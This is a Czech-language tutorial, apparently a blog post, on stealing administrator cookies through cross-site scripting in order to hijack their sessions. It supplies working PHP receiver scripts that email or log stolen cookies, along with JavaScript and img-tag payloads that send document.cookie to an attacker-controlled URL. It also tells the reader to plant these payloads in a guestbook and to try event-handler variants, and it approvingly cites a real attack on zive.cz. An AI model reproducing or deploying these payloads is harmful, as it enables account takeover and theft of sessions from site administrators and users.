Úvod

Představte si, že máme web, na kterém se mohou uživatelé přihlašovat. Každý uživatel se přihlašuje přes své uživatelské jméno a heslo. Uživatelé mají také různá práva od obyčejného navštěvníka, přes moderátora, redaktora až po administrátora. Většina takových serverů také podporujete funkci „zapamatovat heslo“. V praxi to vypadá, že jeden den se na stránce zalogujete, poté jdete pryč, vypnete počítač atd. Druhý den se na stejný web znovu vrátíte a jste automaticky přihlášeni. Jak je to možné? Jak server pozná, že jsme to skutečně my a ne někdo jiný? Podle IP? Nikoliv. Toto mají na starosti soubory ve vašem počítači zvané Cookies. Co přesně cookies jsou si zjistěte jinde.

Co se děje při zalogování?

Nyní budu popisovat fiktivní web. Každá webová aplikace funguje trochu jiným způsobem, takže přesné údaje sedět nebudou. Jde hlavně o to, abyste pochopili princip tohoto útoku. Co se tedy po prvním vstupu na stránku děje? Do formuláře vložíte své uživatelské jméno a heslo a zatrhnete volbu Zapamatuj heslo. Systém porovná, zda dané uživatelské jméno existuje v případě, že ano, porovná heslo s heslem uloženým v databázi (případně jeho hashem) a v případě shody vám umožní vstoupit do určité části webu. Co však nevidíte je to, že se do vašeho počítače uložily dva soubory cookies. Každá cookie má název a hodnotu. Pokud si tyto cookies přes prohlížeč zobrazíme (ve Firefoxu: Nástroje – Možnosti – Správce Cookies), naleznete zde dvě nové. První má název Username a její hodnota je Stoyan (vaše uživatelsé jméno) a druhá má název Password a hodnotu 955db0b81ef1989b4a4dfeae8061a9a6, což je MD5 hash vašeho hesla. Po čase z tohoto webu odejdete. Po návratu se webová aplikace podívá na vaše cookies, pomocí dvou výše jmenovaných zjistí, kdo jste a automaticky vás přihlásí. To by bylo k teorii.

Jak toho využít?

ředstavte si, že bychom získali například takové cookies administrátora. Stačilo by si pouze hodnoty svých cookies vyměnit za ty jeho a aplikace by vás při vaší další návštěvě považovala za admina a přidělila by vám ta nejvyšší práva. A to je přesně to, o co se při Cookies Stealing jedná

Jak ukradnout sušenku...

Jak se ale k adminovým cookies dostat? Použijeme takzvaný cookie stealer. Cookie Stealer je jednoduchá apliakce složená ze dvou částí. První část (nazvěme si ji sender) odešle adminovu cookie k vám na server, kde čeká část druhá (receiver), která cookie zpracuje a uloží do souboru či vám jí pošle na mail. V praxi cookie stealer využijeme tak, že sender uložíte například do Návštěvní knihy na daném webu. Pak stačí, aby si Admin stránku s knihou pouze otevřel a jeho cookies se odešlou na receiver a z něho k vám. Abyste však Cookie Stealer mohli do návštěvní knihy či kamkoliv jinam na web umístit, je nutné, aby web obsahovat XSS chybu.

Nyní se pojďme detailněji podívat na obě části cookie stealeru. Část, která bude cookie přijímat, můžeme naprogramovat v PHP a může vypadat například takto:

<?php                                                                 
$cookie = $_GET["cookie"];                                   
mail("[email protected]", "Cookie Stealer", $cookie);            
?>  

V případě, že vám to vyhovuje více, je možné aplikaci upravit tak, aby cookie zapsala do souboru:

<?php                                                            
$cookie = $HTTP_GET_VARS["cookie"];                                 
$file = fopen('cookielog.txt', 'a');                                
fwrite($file, $cookie . "\n\n");                                     
?> 

Soubor uložte jako stealer.php a uploadujte na server. Ujistěte se také, že jste nastavili právo do souboru cookielog.txt zapisovat (chmod 777). Váš cookie stealer receiver je připraven. Nyní jen vhodně umístit druhou část – sender. Ta nemá jednotnou podobu, záleží na vaší fantazii a hlavně na tom, co vám web, na který sender chcete umístit, dovolí. Tato část může vypadat například takto:

<script>
document.location="http://www.mujweb.cz/stealer.php?cookie="+document.cookie;
</script>

Šance, že na daném webu najdete místo, které vám dovolí vložit tag <script>, je poměrně malá. Proto musíte improvizovat. Víte například, že v návštěvní knize jsou tagy zakázány až na pár vyvolených. Zjistíme, že tag <img> je povolen, tak se toho pokusíme využít. Náš kód by pak mohl vypadat takto:

<img src=javascript:document.location="http://www.mujweb.cz/stealer.php?cookie="+document.cookie;/>

Nebo můžete využít JS vlastností jako je onload, onmousemove či onerror, jako to udělal Sysel při hacknutí zive.cz. Jde jen o to zkoušet různé kombinace a mít štěstí, že některá vyjde.

Nyní máme tedy na našem serveru nachystaný receiver skript a na daný web se nám podařila vložit sender část cookie stealeru. Nyní musíme čekat, než si admin stránku s nástrahou (například onu návštěvní knihu) otevře. Jakmile se tak stane, sender odešle data na receiver, ten si přečte požadavek GET, ve kterém budou hodnoty a názvy cookies a ty se uloží do logu nebo se vám odešlou na email. Teď si vyměníte hodnoty svých cookies za hodnoty získané, vejdete na web a ten vás přivítá jako (nového) administrátora.

Poznámka: Výše uvedený postup je spíše utopického charakteru, málokdy se stane, že naleznete tak málo zabezpečený server, který vám toto všechno umožní. Nic však není nemožné, jak nám dokázal Sysel XSS + cookie stealing hackem Zive.cz.

Související příspěvky

Peter Wang